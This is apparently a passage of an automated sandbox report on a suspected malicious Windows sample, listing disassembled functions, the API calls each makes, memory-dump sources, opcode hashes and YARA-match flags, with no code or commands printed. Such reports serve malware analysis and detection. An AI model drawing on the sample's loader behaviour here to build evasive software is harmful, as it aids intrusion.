                                                                                                                                                                                                                                                                • GetComputerNameW.KERNEL32(00000000,00000000), ref: 0041703C
                                                                                                                                                                                                                                                                • SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041705D
                                                                                                                                                                                                                                                                • FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00417064
                                                                                                                                                                                                                                                                • AddAtomW.KERNEL32(004259A0), ref: 0041706F
                                                                                                                                                                                                                                                                • GetCurrentDirectoryA.KERNEL32(00000000,?), ref: 0041707E
                                                                                                                                                                                                                                                                • EnumDateFormatsW.KERNEL32(00000000,00000000,00000000), ref: 00417087
                                                                                                                                                                                                                                                                • FatalAppExitW.KERNEL32(00000000,00000000), ref: 00417098
                                                                                                                                                                                                                                                                • GetModuleHandleExW.KERNEL32(00000000,004259B0,?), ref: 004170B2
                                                                                                                                                                                                                                                                • GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 004170D5
                                                                                                                                                                                                                                                                • DnsHostnameToComputerNameA.KERNEL32(004259E8,?,?), ref: 004170ED
                                                                                                                                                                                                                                                                • GetLocaleInfoW.KERNEL32(00000000,00000000,?,00000000), ref: 004170FE
                                                                                                                                                                                                                                                                • TzSpecificLocalTimeToSystemTime.KERNEL32(?,00000000,00000000), ref: 0041710E
                                                                                                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(00000000), ref: 00417115
                                                                                                                                                                                                                                                                • OpenWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 0041711E
                                                                                                                                                                                                                                                                • CompareStringA.KERNEL32(00000000,00000000,004259FC,00000000,004259F4,00000000), ref: 00417132
                                                                                                                                                                                                                                                                • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0041722C
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Directory$AliasesAtomComputerConsoleCurrentNameTime$CommCompareConfigControlCreateDateDecrementDefaultDeviceEnumEnvironmentExitFatalFindFormatsFreeHandleHostnameInfoInterlockedLengthLocalLocaleModuleOpenSpecificStringStringsSystemTimerWaitable
                                                                                                                                                                                                                                                                • String ID: tl_
                                                                                                                                                                                                                                                                • API String ID: 2857236428-2653253968
                                                                                                                                                                                                                                                                • Opcode ID: 0b2bbef2728f6ecdca4878623e060e8ad668f903e9951d2b17a404966898c88e
                                                                                                                                                                                                                                                                • Instruction ID: 4add722cede9742cf76e1a2b963be5d600fbe8ad6542a85e0dea111a94a072b8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0b2bbef2728f6ecdca4878623e060e8ad668f903e9951d2b17a404966898c88e
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 017193B1904304AFD320AF61AC85EAB77BCFB88355F41493EF64692151D6389C868F6A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041F3FE Relevance: 4.6, APIs: 3, Instructions: 54COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0041FA67,?,0041A94C,?,000000BC,?), ref: 0041F43D
                                                                                                                                                                                                                                                                • GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0041FA67,?,0041A94C,?,000000BC,?), ref: 0041F466
                                                                                                                                                                                                                                                                • GetACP.KERNEL32(?,?,0041FA67,?,0041A94C,?,000000BC,?), ref: 0041F47A
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: InfoLocale
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2299586839-0
                                                                                                                                                                                                                                                                • Opcode ID: 298e7ab4e7d78ce43b861d4e40772f4ddee361dc6630c1ce2cae7ae4e0738f61
                                                                                                                                                                                                                                                                • Instruction ID: b0a24a6a757d14029e46894a89492599d1da51aa778ef7ba5c7b235765edd7f0
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 298e7ab4e7d78ce43b861d4e40772f4ddee361dc6630c1ce2cae7ae4e0738f61
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C701D83160060ABAEB21E761EC05BDB7BA8AF1035CF60403BF501E1191DB68DECB866D
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00416EF0 Relevance: 4.5, APIs: 3, Instructions: 32pipetimeCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 00416E70: HeapCreate.KERNEL32(00000000,00000000,00000000,00416F0B,00424058,00000000,?,004171AA), ref: 00416E87
                                                                                                                                                                                                                                                                  • Part of subcall function 00416E70: LoadLibraryA.KERNEL32(00000000,?,004171AA), ref: 00416E8F
                                                                                                                                                                                                                                                                • FreeEnvironmentStringsA.KERNEL32(00000000,00424058,00000000,?,004171AA), ref: 00416F16
                                                                                                                                                                                                                                                                • CreateNamedPipeW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,004171AA), ref: 00416F2C
                                                                                                                                                                                                                                                                • FileTimeToLocalFileTime.KERNEL32 ref: 00416F4C
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateFileTime$EnvironmentFreeHeapLibraryLoadLocalNamedPipeStrings
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3762826195-0
                                                                                                                                                                                                                                                                • Opcode ID: 02e741267a2efa7863d68b25f604a786c6561975e6dd8a3a5a6943e537c5da45
                                                                                                                                                                                                                                                                • Instruction ID: e98fe9d3320cfef1d7968989b61129b77a99fed8e82203719b87f968d8f4a0e2
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 02e741267a2efa7863d68b25f604a786c6561975e6dd8a3a5a6943e537c5da45
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E9F082755042019BC310EF54F855B4A77B4F788705F81453DF20982150CB34948ECF6A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02D1092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2042036290.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_2d10000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID: .$GetProcAddress.$l
                                                                                                                                                                                                                                                                • API String ID: 0-2784972518
                                                                                                                                                                                                                                                                • Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
                                                                                                                                                                                                                                                                • Instruction ID: ff4730e2e4a7d7f3067a89c0f7bbac2f1751e8ed1db41822659a8e13b402f224
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 47316DB6900609DFDB10DF99D880AADBBF9FF48325F14404AD841A7714D771EA85CFA4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041F888 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • EnumSystemLocalesA.KERNEL32(Function_000144F3,00000001), ref: 0041F8A1
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: EnumLocalesSystem
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2099609381-0
                                                                                                                                                                                                                                                                • Opcode ID: f09486009fe351e79a25ffb7fe594824e71a01c09fdac849cab3379f49df176b
                                                                                                                                                                                                                                                                • Instruction ID: eb7e3aa5f9d641863c44c868df671af0965496e1668979d0c3632971b2309341
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: f09486009fe351e79a25ffb7fe594824e71a01c09fdac849cab3379f49df176b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A9D0A731A117404BE7205F7488847613FE0FB11F08F64442DC596C41C2C2BC94CEC34C
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0042204D Relevance: .4, Instructions: 355COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
                                                                                                                                                                                                                                                                • Instruction ID: 6ea6604326758c14303bce817b471a326fdfb104a98cb2a952482f3c3ab13e9a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: E8C1B173F0A4B2458B36852D265823FEE626E91B4036FC3D2CCD03F69DC62A6D11D5E4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00421C65 Relevance: .3, Instructions: 349COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
                                                                                                                                                                                                                                                                • Instruction ID: ebd70a50cd477c3867cf54b637136babd810865c3643d3949af485fedae84ea1
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 73C1B233F0A4B2458736466D255823FEEA26EA1B4036FC392CCD43F2ADC62A6D01D5D4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00421893 Relevance: .3, Instructions: 332COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
                                                                                                                                                                                                                                                                • Instruction ID: e79ddaf6747ee5aad36fbc6638b1136f210e7bba1dda8a0088e4e11d6f74e9ab
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 03C1B173F0B5B2098B36456D255823FEEA26EA1B4036FC392CCD43F2ADC22A6D01C5D4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004214F5 Relevance: .3, Instructions: 326COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2040032604.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_40b000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
                                                                                                                                                                                                                                                                • Instruction ID: b433294aeb628248667c6b65742a80218b1e5b0fe3e88b65108c0a1851a29fb9
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 79B1A233F0A5B2058735456D259823FEEA26EE1B4036FC3D6DCD03F2A9C62AAD01D6D4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040217B Relevance: .2, Instructions: 241COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 457600ab2e6b562f27fe83362ed4081144c1261d4b4cc3aa12f50db97314043f
                                                                                                                                                                                                                                                                • Instruction ID: b0f5cd621e5889a427523276a520302fa0894c53478b04dc76a98a6104f30da4
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 457600ab2e6b562f27fe83362ed4081144c1261d4b4cc3aa12f50db97314043f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7D41CE632141086B9A41D2183D2709E3BE59BE235CB249BE7C973773FDD1A4C817A1D3
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040217D Relevance: .2, Instructions: 240COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 65407831d01de68012423774c83c3fea81d132f0266d0a4fe9ae100c4471d34c
                                                                                                                                                                                                                                                                • Instruction ID: c68037642d2b4b88848a758ef480b741a8d613f7c2e242108568ac126d1cc187
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 65407831d01de68012423774c83c3fea81d132f0266d0a4fe9ae100c4471d34c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CB41CE63214108679A41D2183D2709E3AE59BE225CB249BE7C973773FDD1A4C817A1D3
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402188 Relevance: .2, Instructions: 235COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 8ba22db28687de17de026d87b7672bc38eea9ddf34eb616ae3223bb44072340c
                                                                                                                                                                                                                                                                • Instruction ID: c31f878e4552ee647901d08c13c42c7b9bee46c5546bcd0e406724342d5d4055
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8ba22db28687de17de026d87b7672bc38eea9ddf34eb616ae3223bb44072340c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: D541CC632101086BDA41C7186C2709D3BE5ABE625CB25ABDAC9736B3FED164C817A183
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004021A1 Relevance: .2, Instructions: 228COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: d1b73523a20dd4d5eb758ece85657ff01b49f7dc46b6599c52181d7bae701f2b
                                                                                                                                                                                                                                                                • Instruction ID: f27c93ea5fb19a9126cdec7dfb901a61f64bd232b99ff7c89ab316a302d0d062
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d1b73523a20dd4d5eb758ece85657ff01b49f7dc46b6599c52181d7bae701f2b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3231BC532101046B9E41C7183C2308E3AE5EFE265CB24ABDAC873673FDD160C81BA1C2
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004021CB Relevance: .2, Instructions: 223COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: eaa5821d55b3facc6d0f2f4d590224a1a2e390ab7e4159f8d5c27b876ec7bb2f
                                                                                                                                                                                                                                                                • Instruction ID: 71e4ad84544b767bcf39e9c9c4391c0157840b4eb49ede458eb3363319ddbd63
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: eaa5821d55b3facc6d0f2f4d590224a1a2e390ab7e4159f8d5c27b876ec7bb2f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7C31BB532201086B5E41C7283C2308E3BE6EBE626CB25AFC6C873673FDD550C81BA0D2
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004021BB Relevance: .2, Instructions: 221COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: f34f3ff7b8f54312045a2530f86cece731e800efabbd60877df90be80f2eb45c
                                                                                                                                                                                                                                                                • Instruction ID: b6ca5711a50b7efee0159f302846c4b9acddd6f1e8c6f36e454589e31c9923f4
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: f34f3ff7b8f54312045a2530f86cece731e800efabbd60877df90be80f2eb45c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7C3167532115086B5F41D7286C2308E3BE6ABE626DB15ABC6C873673FED550C82BA1D2
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402348 Relevance: .1, Instructions: 96COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 6f881abd4d4c80bbb0f02f955a74f9b74fb810e8dba993f55cc0282d5e03c3a7
                                                                                                                                                                                                                                                                • Instruction ID: 20921a196d2f70f336c197afbd25194a591e440cc2018bb72a27b8d2cfd76f32
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6f881abd4d4c80bbb0f02f955a74f9b74fb810e8dba993f55cc0282d5e03c3a7
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: D4215A73615264CBD3019B18914B45177F0FF81348B2044BBCC83AB2E2D6F9C957969B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02E7CE04 Relevance: .1, Instructions: 61COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2042386552.0000000002E7A000.00000040.00000020.00020000.00000000.sdmp, Offset: 02E7A000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_2e7a000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
                                                                                                                                                                                                                                                                • Instruction ID: ba43a3871e23dbe13e1debf792aee815f398d22ed9ccfcaa1ceec8074d13acb0
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C1118E72380100AFD744DF59DCC0FA673EEEB88264B29A066ED08CB315D675E802CB60
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 02D10D90 Relevance: .0, Instructions: 43COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2042036290.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D10000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_2d10000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
                                                                                                                                                                                                                                                                • Instruction ID: 25c682e90795af54ce22933318db470b5e9a5f039c7bc470ee52a860c9f237c5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2701F7727106009FDF21DF60E804BAA33E5EB86217F0580A4DD0A97B85E370AC81CB80
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00402745 Relevance: .0, Instructions: 20COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 00000000.00000002.2039971776.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_KMPrEVaSfH.jbxd
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                                                                • Opcode ID: dce77baa00da61873ccb3aa1e018f8e5fad55bea42f980cc92786ab105a08859
                                                                                                                                                                                                                                                                • Instruction ID: 69d4b880b733b20b6e6e8d40225c1187dfda2853922bf69f6b380452bfed4421
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: dce77baa00da61873ccb3aa1e018f8e5fad55bea42f980cc92786ab105a08859
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 95D0A7321D8ABD0E873BAF242405B4B3F91F99D4807D4158CC4D2CF189CB20D593DB84
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004026D2 Relevance: .0, Instructions: 12COMMON
